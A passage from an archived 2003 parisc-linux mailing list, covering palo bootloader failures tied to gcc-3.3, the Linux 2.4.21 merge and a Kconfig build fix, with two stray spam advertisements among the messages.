Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19QOBY-0001yr-00; Thu, 12 Jun 2003 11:15:56 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 12 Jun 2003 11:16:15 +0200
In-Reply-To: <Pine.BSF.4.53.0306111939570.50958@e0-0.zab2.int.zabbadoz.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18652

...
> the system hang here (just read on LCD "init c7ff")
....

> I so come back to palo-1.2 where the pb don't occure:
> Command line for kernel: 'root=/dev/scsi/host1/bus0/target5/lun0/part5
HOME=
>
> console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.4.21-rc8-pa35-devfs'
>
> Selected kernel: /vmlinux-2.4.21-rc8-pa35-devfs from partition 3
> ELF32 executable
> Entry 00100210 first 00100000 n 6
> Segment 0 load 00100000 size 2101928 mediaptr 0
>1000
> [...]

> well if I got it right you changed disks ?
No I just add a disk on to an additional scsi ctrlr plug into my hp box

[...]
> ... you might simply try re-running
> pal0-1.2patched from command line again and see what happens ?

I could so try also (even if the boot disk do not actually changed)

> And yes Matthew is 101% right that devfs at least on linux is a big
> mess. It took me almost a week to fix some 2.5.xx and get it boot
> from grub on an intel somewhen end of last year. Some weeks later I
> installed FreeBSD 5.0R on that machine and I am happy with it ;-) so I
> do no longer have the notes a hand (apart from backups) I took those
> days about devfs.
Doesn't matter, considering all advises, I will abandon this idea and try
to find another one. Never the less, the problem I encounter stand in ipl
(at this boot stage)
btw, is your pb is solved? eg is this patch could be comit?

Thanks,
    Joel

[btw: is your FreeBsd stand alone on its own disk or beside linux partition?]

---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II (gcc pb)
Date: Thu, 12 Jun 2003 15:01:05 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <3ED71F6D00004914@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622510 26644 80.91.229.3 (22 Nov 2014 02:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 07:01:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B1104832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jun 2003 07:01:07 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19QRgN-0001bq-00; Thu, 12 Jun 2003 14:59:59 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 12 Jun 2003 15:01:05 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18653

Hi all,

Sorry to answer to myself but I do some more test:
(please forget that is devfs test, I trust that at this boot stage any text
would have the same effect)

> I so come back to palo-1.2 where the pb don't occure:
> Command line for kernel: 'root=/dev/scsi/host1/bus0/target5/lun0/part5
> HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.4.21-rc8-pa35-devfs'
>

I do first replace the kernel name in my palo.conf to vmlinux-2.4.21-rc8-pa35-devfs
and let root=/dev/sda5

so that at reboot I just have to change root=...

then I reduce root=.. since  root=/dev/scsi/host1/bu when it works again

Finaly I chg palo.conf with full root=/dev/scsi/host1/bus0/target5/lun0/part5
run palo and reboot. iplboot also failed at the same place


Now reinstall palo-1.2 and no pb with this last palo.conf

hmm the palo-1.2 is the official debian pkg (size 30728)
the palo-patched is of my own build with gcc-3.3 (size 34816)

Now rebuild palo-patched with gcc-3.0 (size 30720) and it works :-(

What can I do more to help to fix this gcc pb?

Joel

PS: in the mean time I trust (iin accordance with Bjoern) that this patch
can be comited, what do you think?





---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sell battery <"Sell battery"@cuprel1.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sell  battery
Date: Fri, 13 Jun 2003 11:07:21 +0800
Lines: 90
Approved: news@gmane.org
Message-ID: <20030613030646.255D5BAE@cuprel1.hp.com>
Reply-To: Sell@cuprel1.hp.com, battery@cuprel1.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="a8d107c6-e8ee-4020-9b7c-e2b53016f711"
X-Trace: ger.gmane.org 1416622510 26646 80.91.229.3 (22 Nov 2014 02:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 21:06:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ABDE483B
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jun 2003 21:06:51 -0600 (MDT)
Original-Received: from 43.07.16.13 (unknown [218.17.7.48])
	by cuprel1.hp.com (Postfix) with SMTP id 255D5BAE
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jun 2003 20:06:46 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18654

This is a multi-part message in MIME format
--a8d107c6-e8ee-4020-9b7c-e2b53016f711
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

Sell  battery

If this mail is Spam for you .Please let me know . I will remove your address =
from my list shortly .

Dear All 

We can provide all kinds of  battery for you .Shenzhen High Power Technology =
CO., Ltd specializes in designing, manufacturing and marketing =
environment-friendly rechargeable battery-----Nickel Metal Hydride (Ni-MH) =
battery which is widely used in mobile phone, digital camera,cordless phone, =
R/C toys, emergency light, MP3 players, PDAs,power tools etc.

Type	Model	Size	capacity (mAh)
A	HFR-28A1000	2/3A	1000
	HFR-43A1700	4/5A	1700
	HFR-43A1800	4/5A	1800
	HFR-50A2000	A	2000
	HFR-50A2200	A	2200
	HFR-67A2800	7/5A	2800
	HFR-67A3300	7/5A	3300
AA	HFR-28AA650	2/3AA	650
	HFR-28AA750	2/3AA	750
	HFR-43AA1100	4/5AA	1100
	HFR-43AA1200	4/5AA	1200
	HFR-49AA1300	AA	1300
	HFR-49AA1500	AA	1500
	HFR-50AAJ1600	AA	1600
	HFR-50AAJ1800	AA	1800
	HFR-50AAJ2000	AA	2000
AAA	HFR-11AAA80	1/4AAA	80
	HFR-15AAA120	1/3AAA	120
	HFR-20AAA200	1/2AAA	200
	HFR-28AAA300	2/3AAA	300
	HFR-35AAA400	4/5AAA	400
	HFR-43AAA600	AAA	600
	HFR-44AAAJ650	AAA	650
	HFR-44AAA650	AAA	650
	HFR-50AAA700	L-AAA	700
	HFR-50AAA750	L-AAA	750
	HFR-67AAA900	LL-AAA	900
	HFR-67AAA950	LL-AAA	950
AAAA	HFR-38AAAA270	38AAAA	270
	HFR-51AAAA400	51AAAA	400
	HFR-66AAAA550	66AAAA	550
SC	HFR-43SC3000	SC	3000
C	HFR-50C4000	C	4000
D	HFR-60D8000	D	8000
F	HFR-90F11000	F	11000
Prismatic Cell Series			
HF	HFR-29F4-400	29F4-400	400
	HFR-35F5-500	35F5-500	500
	HFR-35JF5-700	35JF5-700	700
	HFR-39JF5-850	39JF5-850	850
	HFR-48F6-750	48F6-750	750
	HFR-67F8-1100	67F8-1100	1100

we accept OEM/ODM .Thanks & very much .

This is a automatic mail system if It interrupt I am sorry . and please =
cancel it  .

Best regards

Sam 

E-mail  : samwei@vip.sina.com
          topbattery@mail.china.com
 

ADD=A3=BABldg A2,Luoshan Industrial =
Zone,Shanxia,Pinghu,Longgang,Shenzhen,Guangdong,China.
TEL=A3=BA(86 755)84652098 84652068 84652238   FAX=A3=BA(86 755)84651866 =
84652298    

----------------------------------------------------
    DEMO=B0=E6=B1=BE=B7=A2=CB=CD    
----------------------------------------------------




--a8d107c6-e8ee-4020-9b7c-e2b53016f711--



From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Arron Levy" <alevy_eb@deltanet.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Private gossip
Date: Fri, 13 Jun 2003 14:47:55 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <bffa01c331ba$4c2b107e$17b41b8d@i5d0g58>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416622510 26654 80.91.229.3 (22 Nov 2014 02:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 13 08:45:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from svtrade.dol.ru (d53-219-226.try.wideopenwest.com [64.53.226.219])
	by dsl2.external.hp.com (Postfix) with ESMTP id C368E482D
	for <parisc-linux@parisc-linux.org>; Fri, 13 Jun 2003 08:45:56 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18655

DQogDQogDQoJPGh0bWw+IA0KICAgDQo8Qk9EWSBCR0NPTE9SPSNmZmZmZmY+
IDxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9InZlcmRhbmEiPg0KRmVl
bCB5b3VuZ2VyLCBnZXQgcmlkIG9mIHdyaW5rbGVzLCBoYXZlIG1vcmUgZW5l
cmd5ITxicj4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuaGVhbHRodG9tb3Jyb3cu
Y29tL2h1bWFuL2luZGV4LnBocD9pZD0zMDQiPkNoZWNrIGl0IG91dCBoPENU
VUU+ZXI8WT5lPGJyPg0KPGJyPjxpbWcgc3JjPSJodHRwOi8vaW1hZ2VzLmhl
YWx0aHRvbW9ycm93LmNvbS9pbWFnZS5waHAiIGJvcmRlcj0wPjwvYT48YnI+
PGJyPjxicj4NCi09SEVQYXRLaW16VkFDWDBITVUzTlpGaWkxU0NlNj0tDQo8
L2ZvbnQ+PC9wPiAgDQo8L2JvZHk+CQk8L0hUTUw+ICAgDQogIA0KDQoNCg==



From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.21
Date: Fri, 13 Jun 2003 16:49:51 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622511 26661 80.91.229.3 (22 Nov 2014 02:15:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:11 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 13 09:49:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E0DE482D
	for <parisc-linux@parisc-linux.org>; Fri, 13 Jun 2003 09:49:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19QqoJ-0003Ag-KG; Fri, 13 Jun 2003 16:49:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18656

As some of you already know, 2.4.21 is out.  I'd've imported it myself
by now, but the 2.4 linux repo is using an _old_ scheme for managing
vendor branches.  Paul, would you be so kind as to do the honours?
I don't see any reason to hold off on merging 2.4.21 into our tree;
we can deal with any brokenness in the 2.4 tree later.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.4.21
Date: Sat, 14 Jun 2003 17:40:39 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030614234039.GB5805@riverrock.org>
References: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622511 26664 80.91.229.3 (22 Nov 2014 02:15:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 14 17:40:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost (170-215-68-29.bras01.mob.ut.frontiernet.net [170.215.68.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9C754840
	for <parisc-linux@parisc-linux.org>; Sat, 14 Jun 2003 17:40:39 -0600 (MDT)
Original-Received: by localhost (Postfix, from userid 16602)
	id 5138512923D; Sat, 14 Jun 2003 17:40:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18657

On Fri, Jun 13, 2003 at 04:49:51PM +0100, Matthew Wilcox wrote:
> 
> As some of you already know, 2.4.21 is out.  I'd've imported it myself
> by now, but the 2.4 linux repo is using an _old_ scheme for managing
> vendor branches.  Paul, would you be so kind as to do the honours?
> I don't see any reason to hold off on merging 2.4.21 into our tree;
> we can deal with any brokenness in the 2.4 tree later.

Hmm, bad timing, maybe Tuesday.  That ok?

	-P (currently in Moab.ut.us)


From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 willy
Date: Sat, 14 Jun 2003 23:57:52 +0000 (UTC)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306142353310.651@e0-0.zab2.int.zabbadoz.net>
References: <20030614221634.9521F494003@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622511 26665 80.91.229.3 (22 Nov 2014 02:15:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:11 +0000 (UTC)
Cc: Matthew Wilcox <willy@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 14 17:58:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C5A84840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Jun 2003 17:58:32 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id A48AD1FFFB8; Sun, 15 Jun 2003 01:58:20 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 832101FFF24; Sun, 15 Jun 2003 01:58:19 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id A2F24153DB; Sat, 14 Jun 2003 23:57:52 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 98C791537B; Sat, 14 Jun 2003 23:57:52 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20030614221634.9521F494003@palinux.hppa>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18658

On Sat, 14 Jun 2003, Matthew Wilcox wrote:

Hi,

> CVSROOT:	/var/cvs
> Module name:	linux-2.5
> Changes by:	willy	03/06/14 16:16:33
>
> Modified files:
....
> Log message:
> merged 2.5.71

cvsupped ... and rechecked this moment w/o new updates.

bz@apollo:/u1/src/linux> make oldconfig
  HOSTCC  scripts/fixdep
  ...
  HOSTCC  -fPIC scripts/kconfig/zconf.tab.o
  HOSTLLD -shared scripts/kconfig/libkconfig.so
  HOSTLD  scripts/kconfig/conf
./scripts/kconfig/conf -o arch/parisc/Kconfig
drivers/parisc/Kconfig:148: can't open file "drivers/hotplug/Kconfig"
make: *** [oldconfig] Error 1
bz@apollo:/u1/src/linux>

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 willy
Date: Sun, 15 Jun 2003 01:40:09 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030615004009.GK30843@parcelfarce.linux.theplanet.co.uk>
References: <20030614221634.9521F494003@palinux.hppa> <Pine.BSF.4.53.0306142353310.651@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622512 26669 80.91.229.3 (22 Nov 2014 02:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Matthew Wilcox <willy@parisc-linux.org>
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 14 18:40:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BFF44840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Jun 2003 18:40:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19RLZ3-0008M9-4D; Sun, 15 Jun 2003 01:40:09 +0100
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0306142353310.651@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18659

On Sat, Jun 14, 2003 at 11:57:52PM +0000, Bjoern A. Zeeb wrote:
>   HOSTLD  scripts/kconfig/conf
> ./scripts/kconfig/conf -o arch/parisc/Kconfig
> drivers/parisc/Kconfig:148: can't open file "drivers/hotplug/Kconfig"
> make: *** [oldconfig] Error 1

Fixed, thanks.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.4.21
Date: Sun, 15 Jun 2003 01:41:30 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030615004130.GL30843@parcelfarce.linux.theplanet.co.uk>
References: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk> <20030614234039.GB5805@riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622512 26674 80.91.229.3 (22 Nov 2014 02:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:12 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 14 18:41:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26BCD4840
	for <parisc-linux@parisc-linux.org>; Sat, 14 Jun 2003 18:41:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19RLaM-0008Mf-Of; Sun, 15 Jun 2003 01:41:30 +0100
Content-Disposition: inline
